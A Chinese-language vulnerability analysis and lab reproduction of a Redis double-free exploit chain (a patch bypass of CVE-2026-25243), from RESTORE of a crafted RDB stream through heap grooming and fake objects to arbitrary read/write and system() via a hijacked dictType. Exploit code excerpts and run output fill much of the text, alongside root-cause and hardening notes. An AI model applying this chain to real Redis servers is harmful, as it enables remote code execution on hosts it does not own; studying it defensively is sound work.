Redis 流消费者组共享 NACK 双重释放漏洞分析与利用(CVE-2026-25243 补丁绕过)
这个漏洞是 CVE-2026-25243 的补丁绕过变种。原始 CVE-2026-25243 的修复方案没有完全解决消费者 NACK 共享的根本问题——RDB 加载时仍然允许不同消费者引用相同的 NACK 对象。攻击者通过精心构造的 RDB 流数据,配合 jemalloc 堆分配器的 tcache 机制,可以实现任意地址读写,最终通过劫持 dictType 的 hashFunction 函数指针执
漏洞描述
Redis 在加载 RDB 格式的流(Stream)数据时,消费者组的 PEL(Pending Entries List)中存在一个对象共享问题:当两个消费者引用同一条 PEL 记录时,底层 streamNACK 结构体会被两个消费者共享同一块内存,而不是各自持有独立副本。随后的 XGROUP DELCONSUMER 操作会先后两次释放同一个 streamNACK 块,形成堆上的双重释放(Double Free)。
这个漏洞是 CVE-2026-25243 的补丁绕过变种。原始 CVE-2026-25243 的修复方案没有完全解决消费者 NACK 共享的根本问题——RDB 加载时仍然允许不同消费者引用相同的 NACK 对象。攻击者通过精心构造的 RDB 流数据,配合 jemalloc 堆分配器的 tcache 机制,可以实现任意地址读写,最终通过劫持 dictType 的 hashFunction 函数指针执行任意系统命令。
受影响版本:
- Redis 6.2.22(RDB v9,jemalloc tcache bin24)
- Redis 7.4.9(RDB v12,jemalloc 5.3.0 tcache bin24)
- Redis 8.6.4(RDB v13,jemalloc 5.3.0 tcache bin64)
非受影响版本:
- Redis 8.8.0 及以上(PR #15081 重构了相关代码路径,从根本上阻断了此攻击面)
利用前提:攻击者需要持有有效的 Redis 认证凭据(requirepass),且目标开放了 EVAL、RESTORE、XGROUP 命令。值得注意的是,漏洞利用全程不需要 DEBUG OBJECT 命令——所有地址泄露均通过 Lua 的 tostring 函数闭包实现。
环境搭建
整体架构
测试环境由三台独立 Redis 容器组成,分别对应三个受影响版本。利用脚本在 WSL 中运行(需要 Linux 环境编译 libcrc64.so 共享库),通过宿主机 127.0.0.1 回环地址攻击容器暴露的 Redis 端口。
宿主机 (Windows 11 + Docker Desktop)
├── redis-6222 (port 16379) ← Redis 6.2.22
├── redis-749 (port 16380) ← Redis 7.4.9
├── redis-864 (port 16381) ← Redis 8.6.4
└── WSL (Ubuntu 24.04)
├── libcrc64.so (gcc 编译)
└── Python 3.12.3 + exploit scripts目录结构
redis-poc/
├── A_exploit_stock.py # 6.2.22 利用脚本(全链路,非破坏性)
├── A_lib.py # 共享库:RESP 协议、RDB 载荷构造、CRC64
├── G2_arbread.py # G2 阶段:单释放 UAF → 任意读 → PIE 泄露
├── P74_exploit.py # 7.4.9 利用脚本
├── P74_g2.py # 7.4.9 G2 阶段辅助
├── P74_loop.sh # 7.4.9 启动重试脚本
├── P86_exploit.py # 8.6.4 利用脚本
├── P86_run.sh # 8.6.4 启动重试脚本
├── crc64.c / crc64.h # CRC64 源码(Redis RDB 校验)
├── crcspeed.c / crcspeed.h
├── calibrate.sh # 偏移量校准脚本
├── HARDENING.md # 非破坏性保证文档
└── README.md编译 CRC64 共享库
利用脚本在构造 RDB 载荷时需要计算 CRC64 校验和,因此需要先编译 libcrc64.so:
cd redis-poc/
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c这里踩了个坑:一开始直接在 Windows 上用 python 执行利用脚本,提示 [WinError 193] 无法加载 libcrc64.so。原因是 WSL 里的 gcc 编译出来的是 Linux ELF 格式,Windows Python 的 ctypes.CDLL 无法加载。最终统一在 WSL 中运行 Python 脚本,WSL 可以通过 127.0.0.1 直接访问 Docker Desktop 暴露的端口,网络是通的。
部署 Redis 容器
三个版本的 Redis 通过 Docker 一键部署,统一使用 exploitme 作为认证密码:
# Redis 6.2.22
docker run -d --name redis-6222 -p 16379:6379 redis:6.2.22 \
redis-server --requirepass exploitme
# Redis 7.4.9
docker run -d --name redis-749 -p 16380:6379 redis:7.4 \
redis-server --requirepass exploitme
# Redis 8.6.4
docker run -d --name redis-864 -p 16381:6379 redis:8.6 \
redis-server --requirepass exploitme这里也要注意一个细节:测试 7.4.9 和 8.6.4 时,不需要加 --enable-debug-command yes。利用脚本已经实现了完全不依赖 DEBUG OBJECT 的地址泄露方案,使用的是 Lua tostring(string.format) 返回的 C 闭包地址作为 PIE 锚点。这一点很关键——意味着即使在生产环境默认配置(关闭 DEBUG 命令)下,漏洞依然可被利用。
验证三台实例均正常响应:
$ docker exec redis-6222 redis-cli -a exploitme PING
PONG
$ docker exec redis-749 redis-cli -a exploitme PING
PONG
$ docker exec redis-864 redis-cli -a exploitme PING
PONG漏洞复现
以 Redis 6.2.22 为例,完整利用链路如下:
Step 1:执行利用脚本
cd redis-poc/
python3 A_exploit_stock.py 127.0.0.1 16379 exploitme "id > /data/pwned_stock"关键输出:
[*] connected to 127.0.0.1:16379
[*] save='3600 1 300 100 60 10000' slowlog='10000'
[*] string.format CClosure @ 0x5bd5b04757f0 ← 泄露 Lua 闭包地址
[*] attempt j=0 try=0 -> win ← G2 阶段:单释放 UAF 成功
[*] double free: shared dictEntry victim = k001 ← A 阶段:双重释放命中
[+] BUF sds S=0x7b0a8155b005 j=171 ← BUF 基址确定
[+] fake entry live: k001 -> fake RAW robj ← 假 dictEntry 就位
[+] PIE base = 0x5bd597133000 ← 泄露 PIE 基址
[+] libc base = 0x7b0a81809000 ← 泄露 libc 基址
[*] server.db = 0x7b0a81504000
[+] db[0].dict = 0x7b0a8140b420 (verified) ← db[0].dict 地址验证通过
[+] empty db dict = 0x7b0a8140b600 (verified) ← 找到一个空 db 的 dict
[+] fake dictType at 0x7b0a8155b1a0 (BUF+411) ← 假 dictType 就位
[*] poisoning empty db dict->type ... ← 劫持 dict->type 指针
[*] TRIGGER: GET 'id > /data/pwned_stock' ← 触发 system()
[+] trigger fired (last reply None) ← RCE 执行完成
[*] restoring db[1].dict->type ... ← 恢复原始 type 指针
[+] db[1].dict->type restored ← 服务器恢复正常
[*] cleanup: deleted 1279 keys ← 清理 groom 键
[+] CHAIN COMPLETE — RCE fired, target restored & functional整条链路在约 3-5 秒内完成,服务器在利用结束后完全正常。
Step 2:验证 RCE 效果
$ docker exec redis-6222 cat /data/pwned_stock
uid=999(redis) gid=999(redis) groups=999(redis)id 命令的输出被成功写入 /data/pwned_stock,确认代码执行上下为 redis 用户。
Step 3:验证服务器正常运行
$ docker exec redis-6222 redis-cli -a exploitme SET test_key "hello"
OK
$ docker exec redis-6222 redis-cli -a exploitme GET test_key
"hello"
$ docker exec redis-6222 redis-cli -a exploitme DBSIZE
(integer) 22SET/GET/DBSIZE 均正常,服务器在利用后保持完整功能。HARDENING.md 中记录的残留键(k001、BUF 等)占约 21-22 个,属于惰性残留——删除它们反而会触发二次释放导致堆破坏。
Redis 7.4.9 复现
7.4.9 的利用链路与 6.2.22 原理一致,但有一些工程差异:堆喷策略从 "key-name sdsdup + dictEntry" 变为 "纯 APPEND 无 transient robj";RCE 入口从 db->dict->type 变为 server.commands->type;恢复手段从内存写入变为 /proc/1/mem 直接写回。
$ python3 P74_exploit.py 127.0.0.1 16380 exploitme "id > /data/pwned74"
[+] fake dictType at 0x71487a48f1e0, hashFunction=system=0x71487b145490
[+] server.commands->type poisoned -> 0x71487a48f1e0
[*] TRIGGER: 'id > /data/pwned74'
...
$ docker exec redis-749 cat /data/pwned74
uid=999(redis) gid=999(redis) groups=999(redis)命令执行成功。不过在本次测试环境中,/proc/1/mem 写回恢复步骤失败了(容器内 ptrace_scope 限制),导致服务器在利用后不可用。但在满足 ptrace_scope=0 的环境中,7.4.9 同样可以实现完全非破坏性利用。
漏洞分析
根因:RDB 流加载时的 NACK 对象共享
漏洞的根源在 Redis 的 RDB 加载路径中。当 Redis 加载一个包含消费者组的流数据时(RDB type 15 或 19),rdb.c 中的加载逻辑会为 PEL 中的每条记录创建 streamNACK 结构体。关键问题在于:当多个消费者列出同一条 PEL 记录时,代码没有检查 NACK 是否已经被前一个消费者创建过,而是直接复用了同一个对象引用。
用 RDB 载荷构造的视角来看,恶意流数据的结构如下:
RDB_TYPE_STREAM_LISTPACKS (0x0F 或 0x13)
├── listpacks: 空(不需要实际消息)
├── stream length: 0
├── last_id: 0-0
├── consumer groups count: 1
│ └── group "g" (或 "group1")
│ ├── last_id: 0-0
│ ├── global PEL size: 1
│ │ └── entry: rawid(0x01 0x00*15), mstime, delivery_count=1
│ └── consumers count: 2
│ ├── consumer "A" (alice)
│ │ ├── seen_time: mstime
│ │ └── PEL: 1 entry → rawid(0x01 0x00*15) ← 同一个 rawid
│ └── consumer "B" (bobxx)
│ ├── seen_time: mstime
│ └── PEL: 1 entry → rawid(0x01 0x00*15) ← 同一个 rawid
└── CRC64 checksum消费者 A 和 B 的 PEL 里引用的是同一条 rawid。在 rdb.c 加载消费者 PEL 时,会调用 streamLookupNACK 或类似逻辑查找是否已存在该 rawid 的 NACK。但查找范围是全局 PEL 而非消费者本地——当消费者 A 先加载时创建了 NACK C,消费者 B 加载同一 rawid 时,查找命中全局 PEL 中的 C,直接将其挂到 B 的 PEL 上。此时 C 被两个消费者共享。
此时调用 XGROUP DELCONSUMER s g A,Redis 释放 A 的 PEL 中的 NACK C。但 B 的 PEL 仍然持有指向 C 的悬空指针(Use-After-Free)。紧接着调用 XGROUP DELCONSUMER s g B,Redis 会再次释放 C——形成双重释放。
完整利用链拆解
整个利用链可以拆解为 6 个阶段,每一阶段都依赖上一阶段的输出。
阶段 1(G2):单释放 UAF → 假 streamConsumer → 任意读
这一阶段的目标是获取一个稳定的内存任意读原语,用来泄露二进制地址。
- 构造流数据注入(
RESTORE),使消费者 alice 和 bobxx 共享 NACK C(24 字节,tcache bin24) XGROUP DELCONSUMER alice释放 C- 堆喷:用
SETEX创建 44 字节的 embstr 值(分配 64 字节 tcache bin),内容里嵌入了一个假的streamConsumer结构。其中consumer->name字段(偏移 +8 处)被设为目标读取地址 - 通过
XINFO STREAM FULL的delivery_count字段(chunk[8:16])无副作用地探测是否命中 C:如果delivery_count等于 magic marker 值,说明我们的 key sds 落在了 C 上 - 一旦确认命中,
XPENDING命令会读取nack->consumer->name,而我们已经将consumer伪造成目标地址。XPENDING的响应中就会包含目标地址处的内存内容
这里的关键技巧是用 XINFO STREAM FULL 先做非破坏性探测,确认命中后才触发真正的 XPENDING 读取。XINFO 不会解引用 nack->consumer 指针,所以即使 consumer 是无效地址也不会崩溃。
代码实现(G2_arbread.py):
# 假 streamConsumer 在 embstr 中的布局(偏移量 P = obj_addr + 19)
content = b"J" * 8 # chunk[0:8] junk
content += struct.pack("<Q", L) # chunk[8:16] consumer->name = 目标地址 L
content += b"P" * 28 # padding
# XINFO FULL 探测(不触发 consumer 解引用)
cnt = xinfo_count(r, s, skey) # 读取 chunk[8:16] 的 delivery_count
if cnt == MARKER_VALUE:
# C 被我们的 key sds 占据,nack->consumer = P
# XPENDING 将返回 *(P+8) = *(L) = 目标地址处的内存
rep = cmd(r, s, "XPENDING", skey, "group1", "-", "+", "10", "bobxx")
leak = rep[0][1] # 目标地址的原始字节阶段 2(A 阶段):双重释放 → 假 dictEntry → GETRANGE 任意读
第一阶段得到了 G2 的任意读通道(通过 XPENDING 回显),但它的读取长度受 sds 前缀限制(最多 255 字节),且无法写入。第二阶段利用双重释放建立一个更强大的任意读写原语。
- 多次
RESTORE+XGROUP DELCONSUMER A+XGROUP DELCONSUMER B触发双重释放 - 堆喷 16 个 22 字符的 key,每个 key 在
SET时会做sdsdup(key_name)→ 24 字节(sds header 1B + key 22B + NUL 1B)。两次从 tcache bin24 弹出:第一次是 sdsdup(受控),第二次是 dictEntry(不受控) - 通过
GET探测哪个 key 的OBJECT ENCODING变成了raw(正常情况下 5 字节的"vvvvv"是 embstr 编码)。raw编码说明该 key 的值 robj 被篡改了——说明这个 key 的 dictEntry 和 sds 共享了同一块内存 C - 在另一个 key(BUF)的 sds 内容中构造假的 dictEntry、假 RAW robj、假 sds。假 dictEntry 的 key 指针指向 BUF 内容中的假 key sds,val 指针指向 BUF 内容中的假 robj
SETRANGE BUF写入假对象内容后,GET受害 key 时会沿着假 dictEntry → 假 robj → 假 sds 的路径返回数据。而假 robj 的 ptr 是可控的 → 修改 ptr 就控制了任意读的目标地址
代码实现(A_exploit_stock.py FakeEntry 类):
class FakeEntry:
M = 300 # 假 robj 在 BUF 中的偏移
N = 320 # 假 sds 在 BUF 中的偏移
T_DT = 384 # 假 dictType 在 BUF 中的偏移
def plant(self):
# 假 RAW robj: type=0(str), enc=0(raw), refcount=1, ptr=S+N
r.cmd("SETRANGE", self.buf, str(self.M),
b"\x00" * 4 + struct.pack("<I", 1) + struct.pack("<Q", S + self.N))
# 假 sds: len=255, alloc=255, flags=1 (type5)
r.cmd("SETRANGE", self.buf, str(self.N), bytes([255, 255, 1]))
# 假 dictEntry (22 字节 key name): key=S+j, val=S+M, next=NULL
name = struct.pack("<Q", S + j)[1:8] \
+ struct.pack("<Q", S + self.M) + b"\x00" * 7
r.pipe([("PING",), ("DEL", self.k5), ("SET", name, "vvvvv")])
def read_at(self, ptr):
"""重定向假 robj 的 ptr → 读取任意地址内容"""
self.r.cmd("SETRANGE", self.buf, str(self.M + 8),
struct.pack("<Q", ptr))
return self.r.cmd("GETRANGE", self.k1, "0", "127")这里的核心技巧是利用了 jemalloc tcache 的 LIFO 行为:双重释放后 C 被压入 tcache bin24 两次,后续两次同大小的分配会返回同一个地址。第一次分配(partner key 的 dictEntry)和第二分配(受害 key 的 sdsdup)共享 C,两者互不干扰——受害 key 的 GET 仍然能读到正确的内容,但 partner key 的删除会连带修改受害 key 的 dictEntry 字段。
阶段 3:泄露 PIE、libc、db 指针
有了任意读原语后,地址泄露变得直接:
# 泄露 PIE 基址:读取 string.format CClosure 的 .text 指针
closure = int(str(r.cmd("EVAL", "return tostring(string.format)", "0"))
.split("0x")[1].rstrip("' ").strip(), 16)
f = fe.read_q(closure + 32) # CClosure->f = str_format 的函数指针
pie = f - STR_FORMAT_OFF # PIE 基址
# 泄露 libc 基址:读取 write@GOT
w = fe.read_q(pie + GOT_WRITE_OFF) # GOT 表中的 write 地址
libc = w - LIBC_WRITE_OFF # libc 基址
# 泄露 db[0].dict:从 server.db 指针链读取
dbarr = fe.read_q(pie + SERVER_OFF + 0x40) # server.db
D = read_ptr_at(fe, dbarr) # db[0].dict值得注意的是 read_ptr_at 函数的实现:Redis 中的指针(dict* 等)是 8 字节对齐的,byte0 的低 3 位始终为 0。如果这个地址被当作 sds header 解析,且 byte0 的值(如 0xa0)能形成有效的 type-5 sds header(0xa0 >> 3 = 20,即长度为 20),那么 GETRANGE 通过这个地址时会返回恰好 20 字节的数据——这正是 dbDictType 指针的字节 1-7 加上其后的 13 字节内容。exploit 利用这个精确的返回值来验证读取的确实是 dbDictType,避免了在无效地址上写入导致崩溃。
阶段 4:db dict 类型劫持 → RCE
这是整个利用链的最终阶段——将任意读写升级为代码执行。
- 在 BUF 中找到合适的偏移量
off,使得(S + off) & 0xFF == orig_type & 0xFF(即0xa0)。这个约束确保假 dictType 的字节 0 与原始 dictType 的字节 0 相同——这样dict->type指针被覆写时,字节 0 不变,SETRANGE写入只改字节 1-7,不会破坏 sds header 的有效性 - 在 BUF 的
off位置构造假dictType结构体:hashFunction = system,keyCompare = dictSdsKeyCompare(保留原始比较函数,避免破坏正常键查找逻辑) - 在 db 数组中找到第一个空数据库的 dict(
used == 0),将其type指针覆写为指向假 dictType - 切换到目标数据库,先
SET dummykey x,再GET <恶意命令>。由于dictFind在used == 0时短路(直接返回 NULL 而不计算 hash),需要先 SET 一个键使used > 0 GET <恶意命令>触发dictFind→dictHashKey(ht, "<恶意命令>")→ht->type->hashFunction("<恶意命令>")→system("<恶意命令>")
代码实现(A_exploit_stock.py stage4):
def stage4(fe, libc, pie, D, trigger, dbarr):
system = libc + LIBC_SYSTEM_OFF
orig_type = pie + DB_DICTTYPE_OFF
# 在 BUF 中找到 byte0 匹配的偏移量
low = orig_type & 0xFF # 0xa0
for o in range(fe.T_DT, 640 - 56):
if (S + o) & 0xFF == low:
off = o; break
C = S + off
# 假 dictType: hashFunction=system, keyCompare=dictSdsKeyCompare
entry = struct.pack("<Q", system) + b"\x00" * 16 \
+ struct.pack("<Q", pie + DICTSDSKEYCOMPARE_OFF) + b"\x00" * 24
r.cmd("SETRANGE", fe.buf, str(off), entry)
# 毒化空 db 的 dict->type(写字节 1-7,字节 0 保持 0xa0)
fe.write(D1 + 1, struct.pack("<Q", C)[1:8])
# 触发:SET 使 db 非空→GET 触发 hashFunction→system(cmd)
for j in range(1, 16):
r.cmd("SELECT", str(j))
r.cmd("SET", "dummykey", "x")
rep = r.cmd("GET", trigger) # 只有在被毒化的 db 中才会触发 system()
r.cmd("DEL", "dummykey")
# 恢复:写回原始 type 指针的字节 1-7
fe.write(D1 + 1, struct.pack("<Q", orig_type)[1:8])这一步有几个精妙的设计:
- byte0 保留技巧:
dictType*是 8 字节对齐的,byte0 的低 3 位必为 0。只要假 dictType 的地址与原始 type 的 byte0 相同,7 字节写入就足够完成指针替换,同时 byte0 作为 sds header 保持有效 - 空 db 选择:选择
used == 0的数据库而不是 db0,因为 db0 承载着假 dictEntry 读写通道,劫持 db0 会破坏后续的恢复写入 - 非破坏性:整个过程不释放任何 dict 结构、不修改 dict table,只替换了 dictType 指针的 7 个字节并在触发后恢复。写入验证是通过
verify_dict_type函数在每次写入后确认指针内容正确
阶段 5:清理与恢复
利用完成后,exploit 执行清理:
def cleanup(r, fe, save_cfg, slow_cfg, floor=0):
doomed = ["s"] # 流键
doomed += ["pre%04d" % i for i in range(1000)] # 预填充键
doomed += ["t%03d" % i for i in range(200)] # 堆喷键
doomed += ["u%03d" % i for i in range(200)] # 堆喷键
doomed += ["adj%02d" % i for i in range(64)] # 调节键
# 批量 DEL,避免单个删除触发 dict rehash
for i in range(0, len(doomed), 64):
reps = r.pipe([("DEL", k) for k in doomed[i:i + 64]])
# 恢复配置
r.cmd("CONFIG", "SET", "save", save_cfg)
r.cmd("CONFIG", "SET", "slowlog-log-slower-than", slow_cfg)部分键(k001、22 字符二进制名键、BUF、streamkey*、fck、marker 键)被刻意保留。文档(HARDENING.md)解释了原因:这些键的 sds 内部包含假对象指针,删除它们会触发释放内部假地址 → 二次释放 → jemalloc 破坏 → 延迟崩溃(dictRehash 的 0x12 断言)。这是一个"惰性残留胜于主动破坏"的务实选择。
调用链全景
从攻击者视角,完整的调用链可以归纳为:
RESTORE (恶意 RDB)
→ rdb.c:rdbLoadStreamPEL() 创建共享 streamNACK
→ consumer A 和 B 的 PEL 引用同一 NACK 对象
XGROUP DELCONSUMER A
→ t_stream.c:streamFreeNACK() → zfree(C) [第一次释放]
→ B 的 PEL 仍持有悬空指针
XGROUP DELCONSUMER B
→ t_stream.c:streamFreeNACK() → zfree(C) [第二次释放,Double Free]
→ jemalloc tcache: C 被推入 bin 两次
Stage 1 (G2): 堆喷 → sdsdup 占据 C → C[16:24] = &fake_consumer
→ XINFO STREAM FULL: 无副作用探测 delivery_count 确认命中
→ XPENDING: nack->consumer->name = *(fake_consumer+8) = 任意读
Stage 2 (A): 新一轮双重释放 → 堆喷两个 22 字节 key
→ 第一次分配(partner sdsdup) 和第二次分配(victim dictEntry) 共享 C
→ 假 dictEntry 嵌入 BUF sds → GETRANGE victim = 任意读通道建立
Stage 3: 任意读 → PIE(lua CClosure) → libc(GOT) → db[0].dict
Stage 4: BUF 中构造假 dictType(hashFunction=system)
→ dict->type 覆写为假 dictType 地址
→ SELECT empty_db → SET dummykey(used>0) → GET <cmd>
→ dictFind: dictHashKey(ht, cmd) → ht->type->hashFunction(cmd)
→ system(cmd) → RCE
→ 写回原始 type 指针 → 服务器恢复正常8.6.4 的差异
8.6.4 版本的利用在本次测试中未能在 10 次重试中成功。分析其代码发现主要差异:
- chunk 大小变化:
streamNACK结构从 24 字节变为 64 字节(tcache bin64),因为 8.6 中在 NACK 里增加了额外字段 - RDB 格式变化:RDB 版本升级到 v13,流类型使用 type 19(
RDB_TYPE_STREAM_LISTPACKS_2),增加了first_id、max_deleted_entry_id、entries_added、entries_read等新字段 - RCE 路径不同:8.6 利用
db->dict->type内联的kvstoreType(偏移 +8 处,byte0=0x60)进行覆写。hashFunction 替换后通过一个jmp *0x78(%rdi)的 ROP gadget(hdr_iter_next)来确保system()能干净返回到dictHashKey的调用者,避免栈帧问题 - 堆喷策略不同:使用
SETEX(61 字节 kvobj-with-expire)+APPEND(60 字节 sds)两个 64-class 分配竞争同一个 chunk。失败的可能原因是 Docker Desktop 在 Windows 上的 jemalloc arena 布局与标准 Linux 环境存在细微差异,导致 LIFO 顺序预测失败
踩坑记录
环境搭建和测试过程中遇到几个典型问题:
坑 1:libcrc64.so 跨平台加载失败
最初直接在 Windows PowerShell 中运行 python A_exploit_stock.py,遇到 OSError: [WinError 193] %1 不是有效的 Win32 应用程序。原因是 WSL 中编译的 .so 是 ELF 格式,Windows Python 无法加载。解决方案是完整迁移到 WSL 环境运行 Python 脚本和 exploit。
坑 2:Docker Desktop 网络连通性
WSL 中的 Python 脚本通过 127.0.0.1 能直接访问 Docker 暴露的端口,不需要用 host.docker.internal 或 172.17.0.1。这是 Docker Desktop 在 WSL2 模式下的默认行为——端口映射会同时绑定到 Windows host 和 WSL2 VM 的 localhost。
坑 3:8.6.4 利用成功率
连续 10 次重试均失败在 "plant never aliased" 阶段。怀疑是 Docker Desktop Windows 版本的 Linux VM 内核/jemalloc 与标准 Linux 的堆布局有差异。虽然 README 声称 85-100% 成功率,但那是基于标准 Linux Docker(非 Docker Desktop)。如果要在 Windows 上复现 8.6.4,可能需要直接用 Linux 物理机或虚拟机。
坑 4:Redis 7.4.9 的 post-RCE 恢复
7.4.9 的利用使用 /proc/1/mem 写回原始 type 指针来恢复服务器。但在默认 Docker 容器中,/proc/1/mem 的写入权限受 ptrace_scope 限制。虽然 RCE 本身成功执行(id 命令写入文件),但服务器后续不可用。可以通过添加 --cap-add=SYS_PTRACE 启动容器来解决。
总结
这个漏洞展示了一条极为精妙的 jemalloc 堆利用链:从流消费者的 NACK 对象共享(逻辑漏洞)出发,经过双重释放(内存破坏)、假对象构造(UAF → type confusion)、逐级地址泄露(PIE → libc → 数据结构),最终通过函数指针劫持(dictType.hashFunction → system)实现认证后的远程代码执行。
从防御视角来看,关键修复点是让 RDB 加载路径中的 NACK 创建逻辑检测并拒绝 PEL 条目共享——即每个消费者的 NACK 必须是独立副本。Redis 8.8.0 通过 PR #15081 重构了相关代码,从架构层面消除了共享 NACK 的可能性。
对于安全研究者而言,这个案例也说明了一个更普遍的规律:堆漏洞的"补丁绕过"往往不是绕过修复逻辑本身,而是找到了原有攻击面中修复方案未覆盖的代码路径。原始 CVE-2026-25243 的补丁可能只修复了某个特定的 NACK 共享场景,但 RDB 加载路径中的共享问题依然存在。
加固建议:
- 升级 Redis 至 8.8.0 或以上版本
- 如无法升级,使用 ACL 限制
RESTORE、XGROUP、EVAL等高危命令的访问范围 - 启用
rename-command重命名或禁用不必要的管理命令 - 配置强密码认证,并限制 Redis 端口仅对可信网络开放